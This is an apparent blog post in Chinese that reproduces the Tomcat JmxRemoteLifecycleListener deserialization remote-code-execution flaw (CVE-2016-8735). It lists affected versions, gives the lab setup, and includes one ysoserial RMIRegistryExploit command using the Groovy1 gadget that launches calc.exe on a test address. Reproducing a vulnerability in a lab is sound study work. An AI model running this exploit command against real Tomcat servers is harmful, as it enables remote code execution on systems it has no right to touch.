参考资料:
http://gv7.me/articles/2018/CVE-2016-8735/
跟着大神的脚步一步步走下去。
漏洞描述:
Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。JmxRemoteLifecycleListener用来监控tomcat服务。 Tomcat也使用了JmxRemoteLifecycleListener这个监听器,但是Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。
漏洞范围:
多版本
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
漏洞复现:
这里使用windows10 x64、java版本1.6(1.8没有复现成功)、tomcat版本7.0.70
在conf/server.xml中添加以下语句
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
![](https://img.haomeiwen.com/i1734768/18402cb452bf4fbd.png)
然后下载catalina-jmx-remote.jar包和groovy-2.3.9.jar包,放到tomcat的lib目录下。
注意版本一致的问题。
最后运行tomcat。
![](https://img.haomeiwen.com/i1734768/95c2b2d5b958ce02.png)
使用ysoserial发送payload。。
https://github.com/frohoff/ysoserial
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.72.138 10001 Groovy1 calc.exe
![](https://img.haomeiwen.com/i1734768/b29ebfed5823e0bd.png)
网友评论